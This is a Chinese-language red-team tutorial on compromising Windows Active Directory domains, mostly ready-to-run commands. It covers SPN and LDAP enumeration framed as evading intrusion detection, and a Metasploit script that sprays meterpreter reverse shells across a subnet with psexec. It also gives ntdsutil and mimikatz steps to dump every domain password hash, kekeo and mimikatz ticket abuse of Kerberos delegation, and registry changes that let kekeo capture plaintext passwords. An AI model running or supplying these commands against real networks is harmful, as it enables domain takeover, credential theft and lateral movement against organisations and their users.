内网域信息收集
SPN的发现
前言:
由于每台服务器都需要注册用于Kerberos身份验证服务的SPN,因此这为在不进行大规模端口扫描的情况下收集有关内网域环境的信息提供了一个更加隐蔽的方法。
工具:
SetSPN查询:
windows系统自带的setspn可以查询域内的SPN
#查看当前域内所有的SPN:
setspn -Q */*
#查看指定域xie.com注册的SPN:
setspn -T xie.com -Q */*
setspn -X删除指定SPN
查找指定用户/主机名注册的SPN:setspn -L username/hostname
PowerShell-AD-Recon: 该工具包提供了一些探测指定SPN的脚本,例如Exchange,Microsoft SQLServer,Terminal等
#Discover-PSMSSQLServers.ps1的使用,扫描MSSQL服务
Import-Module .\Discover-PSMSSQLServers.ps1;Discover-PSMSSQLServers
#Discover-PSMSExchangeServers.ps1的使用,扫描Exchange服务
Import-Module .\Discover-PSMSExchangeServers.ps1;Discover-PSMSExchangeServers
#扫描域中所有的SPN信息
Import-Module .\Discover-PSInterestingServices.ps1;Discover-PSInterestingServices
GetUserSPNs.vbs:
GetUserSPNs 是 Kerberoast 工具集中的一个 vbs 脚本,用来查询域内用户注册的 SPN。
cscript .\GetUserSPNs.vbs
PowerView.ps1:
PowerView是 PowerSpolit 中 Recon目录下的一个powershell脚本,PowerView 相对于上面几种是根据不同用户的 objectsid 来返回,返回的信息更加详细。
Import-Module .\PowerView.ps1Get-NetUser -SPN
PowerShellery:
PowerShellery下有各种各样针对服务SPN探测的脚本。其中一些需要PowerShell v2.0的环境,还有一些则需要PowerShell v3.0环境。
#Powershellery/Stable-ish/Get-SPN/ 下Get-SPN.psm1脚本的使用,需要powershell3.0及以上版本才能使用
Import-Module .\Get-SPN.psm1Get-SPN -type service -search "*"Get-SPN -type service -search "*" -List yes | Format-Table
#Powershellery/Stable-ish/ADS/ 下Get-DomainSpn.psm1脚本的使用
Import-Module .\Get-DomainSpn.psm1Get-DomainSpn
RiskySPN中的Find-PotentiallyCrackableAccounts.ps1:
该脚本可以帮助我们自动识别弱服务票据,主要作用是对属于用户的可用服务票据执行审计,并根据用户帐户和密码过期时限来查找最容易包含弱密码的票据。
Import-Module .\Find-PotentiallyCrackableAccounts.ps1;Find-PotentiallyCrackableAccounts -FullData -Verbose
使用domain参数,将返回所有具有关联服务主体名称的用户帐户,也就是将返回所有SPN注册在域用户下的用户。
Import-Module .\Find-PotentiallyCrackableAccounts.ps1;Find-PotentiallyCrackableAccounts -Domain "xie.com"
过ids,ips的一些手工语法:
#将枚举Domain Admins组中所有成员
AdFind -b "CN=Domain Admins,CN=Users,DC=contoso,DC=com" member
#枚举adminCount 设置为1的所有帐户,现在,我们将运行LDAP查询,以查找至少属于一个受保护组的帐户。
AdFind.exe -default -f "(&(adminCount=1)(objectClass=user))" -dn
#枚举配置为无约束委派的所有服务器(不包括DC)
AdFind.exe -default -f "(&(objectCategory=computer)(!(primaryGroupID=516)(userAccountControl:1.2.840.113556.1.4.803:=524288)))" dnsHostName OperatingSystem lastlogonTimestamp pwdLastSet
#使用SPN枚举帐户
AdFind.exe -default -f "(&(objectCategory=user)(servicePrincipalName=*))" cn serviceprincipalname pwdlastset lastlogontimestamp
#枚举不受约束委派的帐户
AdFind.exe -default -f "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
#枚举AdminSDHolder容器上的DACL权限
AdFind -b "CN=AdminSDHolder,CN=System,DC=contoso,DC=com" -s base nTSecurityDescriptor -sddl++ -resolvesids
#枚举域根对象上的DACL
AdFind -b "DC=contoso,DC=com" -s base nTSecurityDescriptor -sddl++ -resolvesids
#枚举LAPS密码
AdFind.exe -default -f "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" dnsHostName ms-Mcs-AdmPwd
#枚举禁用Kerberos预身份验证的帐户
一旦禁用了预身份验证,攻击者就可以为任何用户请求身份验证数据,并且域控制器将返回可以离线暴力破解的加密TGT。此命令将查找禁用了Kerberos预身份验证的帐户。
AdFind.exe -default -f "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" cn useraccountcontrol
#枚举所有域信任
AdFind.exe -default -f "(&(objectClass=trustedDomain))"
#枚举子网
AdFind -subnets -f (objectCategory=subnet) name
#排除dc的ldap查询(不会触发报警)
Invoke-BloodHound -Loop -LoopInterval 00:01:00 -LoopDuration 00:10:00 -ExcludeDomainControllers
#枚举配置为无约束委派的所有服务器(不包括DC)
([adsisearcher]'(&(objectCategory=computer)(!(primaryGroupID=516)(userAccountControl
:1.2.840.113556.1.4.803:=524288)))').FindAll()
#枚举禁用Kerberos预身份验证的帐户
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))').FindAll()
#枚举启用了Kerberos DES的帐户
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2097152))').FindAll()
#列举所有计算机
([adsisearcher]'(objectCategory=computer)').FindAll()
#枚举所有已启用的帐户
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(!(userAccountControl
:1.2.840.113556.1.4.803:=2)))').FindAll()
#枚举为基于资源的约束委派配置的服务器
repadmin /showattr * DC=contoso,DC=com /subtree /filter:"((&(objectClass=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*)))" /attrs:cn,msDs-AllowedToActOnBehalfOfOtherIdentit
#列举敏感的广告组
([adsisearcher]'(&(adminCount=1)(objectClass=group))').FindAll()
#列举所有计算机
([adsisearcher]'(objectCategory=computer)').FindAll()
#枚举所有已启用的帐户
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(!(userAccountControl
:1.2.840.113556.1.4.803:=2)))').FindAll()
#枚举所有全球安全组
([adsisearcher]'(groupType=-2147483646)').FindAll
域控(DC)主机定位
利用DNS记录
原理:域控服务器会向DNS服务器注册DNS记录,以便当客户端需要加入域或者和域有其他交互的时候,可以找到它。
值得注意的是,使用nslookup的时候,DNS服务器必须是内部DNS,否者是查询不到记录的,因为域控服务器只会向内部DNS服务器注册这个记录。
大多情况下,内部DNS服务器和AD域控服务器默认部署在同一台服务器。如果是这种情况,找到DNS服务器就能找到了域控服务器。
nslookup
set type=all
ldap.tcp.dc._msdcs.DOMAIN_NAME
或者
nslookup
set type=all
_msdcs.DOMAIN_NAME
利用nltest命令
nltest /dclist:domainname
查询域时间设置(多半域控作为时间服务器)
net time /domain
echo %logonserver%
dsquery server
net group "domain controllers" /domain
如果本机未加入域控:
1.端口扫描,域控服务器会开放389端口, 如果和DNS同服务器,那么也会有53,域控制器兼顾整个域的认证服务,所以会开启很多认证端口。
2.抓包向域服务器进行认证
域管理员的定位
工具:
psloggedon.exe
系统自带工具。通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,同样也调用到了NetSessionEnum API。某些功能需要管理员权限
netsess.exe
netsess.exe的原理也是调用NetSessionEnum API,并且在远程主机上无需管理员权限。
PVEFindADUser.exe
用于枚举域用户以及登陆过特定系统的用户,需要管理员权限
netview.exe
使用WinAPI枚举系统,利用 NetSessionEnum 来找寻登陆sessions, 利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。它也能查询共享入口和有价值用户,还能使用延迟和抖动。绝大部分功能不需要管理员权限
hunter
hunter是一款利用 Windows API 调用来枚举跳板机上的用户登录信息的工具
https://github.com/fdiskyou/hunter
Nmap的NSE脚本
如果你有域账户或者本地账户,你可以使用Nmap的smb-enum-sessions.nse 引擎来获取远程机器的登录session,并且不需要管理员权限
smb-enum-domains.nse对域控制器进行信息收集扫描,可以获取主机信息,用户,密码策略可以用的用户等
smb-enum-users.nse在进行域渗透的时候,有了域内某台主机的权限,但是权限有限,不能获取更多的域用户信息的时候,可以借助这个脚本对域控制器进行扫描
smb-enum-shares.nse遍历远程主机的共享目录
smb-enum-processes.nse通过smb对主机的系统进程进行遍历,通过这些信息,可以知道目标主机上运行软件信息,选择合适的漏洞或者规避防火墙以及杀毒软件。
smb-enum-sessions.nse通过smb获取域内主机的用户登录session,查看当前是否有用户登录,对于我们抓取用户hash以及避免同时登陆被用户发现。
smb-os-discovery.nse通过smb协议来收集目标主机的操作系统,计算机名,域名,全称域名,域林名称,NetBIOS机器名,NetBIOS域名,工作组,系统时间。
定位域管理进程
1、本地检查
1.运行以下命令以获取域管理员列表:
net group “Domain Admins” /domain;
2.运行Tasklist /v命令以列出进程和进程用户,运行该过程的帐户应该在第7列;
3.将任务列表与域管理员列表交叉引用,查看你是否进入域管理进程中;
2、查询活跃的域名控制器
据我所知,这个技巧是由一个NetSPI造成的。我们需要一个方法去识别活跃域名管理进程,或者是关闭IDS进行一些扫描。
一键化脚本:
https://github.com/nullbind/Other-Projects/tree/master/GDA
3、扫描远程系统上运行的任务
你使用共享本地管理员帐户运行域系统,你可以运行下面的脚本扫描系统中的域管理任务。类似于前面提到的技巧,同样首先需要列举域管理员。下面的脚本包含,ips.txt目标系统列表,names.txt域管理员列表
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
5、扫描远程系统上NetBIOS信息
一些Windows系统仍然允许用户通过NetBIOS查询已登录用户,同样也可以使用原生的nbtstat工具进行查询
下面这个Windows命令行脚本将扫描远程系统活跃域管理会话。
FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
你也可以使用nbtscan工具
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
5、PSExec扫描远程系统上的身份验证令牌
将下面脚本复制到一个文本文件并保存到Metasploit目录,命名为psexec_spray.rc
#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z
#Setup Credentials use windows/smb/psexec set SMBUser set SMBPass
#Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules (using multi handler) set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff - range walker #note: could also accept ip addresses from a file by replacing rhosts =”192.168.74.0/24” with rhosts = File.readlines(“c:systems.txt”) require 'rex/socket/range_walker' rhosts = "192.168.1.0/24" iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost| #self allows for execution of commands in msfconsole self.run_single("set RHOST #{rhost}") #-j-z send the session to the background self.run_single("exploit -j -z") end
- 更新smbuser和smbpass参数
- 输入以下命令运行脚本,psexec_spray.rc脚本使用所提供的凭据在所有存在于192.168.1.0/24的系统中盲目安装meterpreter shells
- 你可以使用Metasploit的token_hunter模块识别域管理令牌
3.1.创建一个包含域管理员列表的文件:COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
3.2. 加载token_hunter模块
msfconsole msf> load token_hunter
3.3.运行token_hunter列出域管理令牌
msf> token_hunt_user -f /tmp/domain-admin.txt
另外,你可以使用下面的命令来获得当前登录用户的列表
Sessions –s loggedin
收集所有域用户hash
域用户帐户以域数据库的形式保存在活动目录中,ntdsutil.exe是域控制器自带的域数据库管理工具,从windows 2008就默认自带了,因此我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:
创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
挂载快照
Ntdsutil –snapshot—activate instance ntds—create—mount {guid}—copy 装载点\windows\NTDS\ntds.dit d:\ntds_save.dit
复制ntds.dit
copy C:\$SNAP_201911241434_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
卸载快照
ntdsutil snapshot "unmount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
删除快照
ntdsutil snapshot "delete {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
域数据库装载完毕,即可进行复制
成功提取用户hash,如下图:
QuarksPwDump --dump-hash-domain --ntds-file d:\ntds.dit
或者使用NTDSDumpExH获取hash
NTDSDumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h
NTDSDumpEx.exe下载地址:https://github.com/zcgonvh/NTDSDumpEx
除了上面的操作方法外,还可以使用mimikatz一条命令,获取域控制器上所有用户的hash:
mimikatz log "privilege::debug" "lsadump::lsa /patch"
发现域中的委派主机或账户及利用
在域中,可以通过PowerView脚本来搜索开启了委派的主机和用户,查询非约束委派主要是通过搜索userAccountControl属性包含ADS_UF_TRUSTED_FOR_DELEGATION的主机或账户。
1.非约束委派
通过Import-Module PowerView.ps1加载PowerView脚本之后使用下面的命令进行查询。
查询域中配置非约束委派的账户:
Get-NetUser -Unconstrained -Domain yunying.lab
查询域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain yunying.lab
在另一个版本的PowerView中采用的是Get-DomainComputer
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -a
2.约束委派
查询域中配置约束委派的账户:
Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
查看设置了约束委派的用户
Get-DomainUser -TrustedToAuth -Domain yunying.lab
查询域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain yunying.lab
攻击方法:
1.非约束委派攻击方法:
假设我们已经获取了一个已经配置了委派的账户权限或者是密码,如果域控访问了我们控制的主机服务
我们直接通过mimikatz导出TGT内容(需要管理员权限)
privilege::debug #提升权限
ekurlsa::tickets /export #导出所有票据
导入指定票据到当前会话:
kerberos::ptt 票据名称
kerberos::list 查看当前会话票据
kerberos::tickets 查看所有的票据
Print Spooler服务+非约束委派提升至域控权限
如果域控运行这打印机服务,那么我们可以直接将MS-RPRN请求RpcRemoteFindFirstPrinterChangeNotification(Kerberos身份验证)发送到DC的打印服务器
DC响应包中就会有域控的TGT
2.约束委派攻击方法:
服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST。
这里就要用到一个工具kekeo
1.首先查询域内配置了约束性委派的服务账号
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
2.用kekeo请求该用户的TGT,如果我们拿到了服务用户的明文密码或者NTLM Hash
tgt::ask /user:域用户名 /domain:networksec /password:1111 /ticket:wptgt.kirbi tgt::ask /user:域用户名 /domain:networksec /NTLM:xxxxxxxxxxxxxxxx /ticket:test.kirbi
3.得到用户TGT的服务使用伪造s4u2self请求和s4u2proxy以administrator用户身份请求访问
Tgs::s4u /tgt:tgt票据名称 /user:administrator@networksec /service:访问服务名称 /user.networksec
4.将S4U2Self获取到的ST1以及S4U2Proxy获取到的访问服务的ST2保存在当前目录下 然后我们用mimikatz将ST2导入当前会话即可
kerberos::ptt st2名称
5.当然如果我们获得了服务账号所在主机的权限,那么,我们可以利用mimikatz从内存中将票据导出来。
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
注:sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::tickets和kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。这里已经把票据请求出来了,就不用再去ask请求TGT票据了
在windows server2012中获取用户口令:
优点:
不需要同lsass进程交互,所以能够绕过对lsass进程的保护。
在修改组策略后,只需要普通用户权限就能实现。
注:添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等。
项目地址:https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20200718
实现原理:
修改主机A的组策略,设置为自动发送当前用户的凭据
在主机B上面实现服务端的功能,接收主机A发送的请求
那么当我们控制主机A连接主机B时,主机B就能够获得主机A用户的明文口令。
更近一步,如果我们实现以下操作:
修改主机A的组策略,设置为自动发送当前用户的凭据
在主机A上面实现服务端的功能,接收主机A自己发送的请求
我们同样能够获得用户的明文口令。
注:keko的实现方式是通过SMB协议创建命名管道,而不是RDP协议。
手法:
通过修改注册表的方式添加组策略
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *
添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等。
1.工作组网络(身份验证方式为NTLM)
(1)抓取本机口令 建立服务器的kekeo命令如下(普通用户权限):
tsssp::server
连接服务器的kekeo命令如下(普通用户权限):
tsssp::client /target:anyword
注:抓取本机口令时,target参数可以设置为任意字符。
2.域网络(Kerberos)
身份验证方式为Kerberos
(1)抓取本机口令
建立服务器的kekeo命令如下(普通用户权限):
tsssp::server
连接服务器的kekeo命令如下(普通用户权限):
tsssp::client /target:anyword
注:抓取本机口令时,target参数可以设置为任意字符。
(2)抓取远程主机口令
建立服务器的kekeo命令如下(System权限):
tsssp::server
连接服务器的kekeo命令如下(普通用户权限):
tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\\COMPUTER01.test.com\pipe\kekeo_tsssp_endpoint
这里使用的参数为域内计算机帐户对应的SPN。
查看当前域内的所有SPN可以使用setspn命令:
setspn.exe -q */*
查看test域内的所有SPN:
setspn.exe -T test -q */*
其他利用思路
https://github.com/3gstudent/Homework-of-C-Language/blob/master/tsssp_client.cpp
代码支持连接本地和远程服务器。
只需要填写pipi参数,代码会将target参数自动补全为TERMSRV/< spn >
连接本地的命令示例:
tsssp_client.exe localhost
连接远程服务器的命令示例:
tsssp_client.exe Computer01.test.com
kekeo的tsssp::server功能需要安装OSS ASN.1/C
注:使用试用版的OSS ASN.1/C编译生成的exe文件无法在未安装OSS ASN.1/C的系统下使用。
(2)抓取其他用户的口令
使用其他用户的token启动kekeo.exe或者tsssp_client.exe即可
更多好玩的红队工具,技巧,请关注公众号Gamma实验室